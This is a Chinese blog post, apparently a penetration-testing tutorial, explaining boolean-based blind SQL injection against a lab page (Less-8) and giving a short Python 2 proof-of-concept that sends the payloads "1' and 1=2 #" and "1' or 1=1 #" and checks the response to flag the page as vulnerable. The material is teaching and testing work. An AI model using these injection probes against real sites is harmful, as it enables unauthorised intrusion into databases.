欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

渗透测试之POC基于布尔的sql盲注

程序员文章站 2022-06-13 12:58:51
...

基于布尔的盲注一般只能告诉我们true or fasle。

就比如你只能向系统提问,但是系统只能回答你是或者不是。

一般套路是先问数据库名字有多长,1,2,3,4直到回答出是,然后获取到数据库名字长度,然后数据库第一个字符是不是a,b,c,d....直到回答是,获取第一个字符,然后按照这个套路获取到第二个第三个字符最后获取到数据库名称,然后再问表,字段。。

还有另一个套路直接字典的,不过这个对字典的要求就高了。

转过来说说我们的poc

先看看我们的测试环境:

渗透测试之POC基于布尔的sql盲注

当id存在时就会显示 you are in.....  当id不存在时就会显示为空

那么这个时候可以用 or 1=1     and 1=2的方式去验证

id 为任意,or 1=1 则会显示全部

渗透测试之POC基于布尔的sql盲注

id为任意,and 1=1 则会显示为空

渗透测试之POC基于布尔的sql盲注

所以可以通过判断关键字  you are in 是否存在 从而判断是否存在sql注入

下面开始用python写无框架的poc

#coding:utf-8
import requests
import sys
import re

def verify(url):
    target = url + "/Less-8/"
    playload1 = target + "?id=1' and 1=2 %23"
    playload2 = target + "?id=1' or 1=1 %23"
    try:
        flag1 = False
        flag2 = False
        #发送playload1
        req1 = requests.get(playload1)
        response1 = req1.text
        #print response1
        if response1:
            #查找关键字 You are in
            if not re.search('You are in',response1):
                flag1 = True
        req2 = requests.get(playload2)
        response2 = req2.text
        #print response2
        if response2:
            #查找关键字 You are in
            if re.search('You are in',response2):
                flag2 = True
        print flag1,flag2
        if flag1 == flag2 and flag1 is True:
                print "%s is vulnerable" %playload2
        else:
            print "%s is not vulnerable" %playload2
    except Exception,e:
        print "Something happend...."
        print e
        
def main():
    args = sys.argv
    url = ""
    if len(args) == 2:
        url = args[1]
        #print url
        verify(url)
    else:
        print "Usage:python %s url"%(args[0])
        
if __name__ == '__main__':
    main()
测试效果

渗透测试之POC基于布尔的sql盲注

相关标签: poc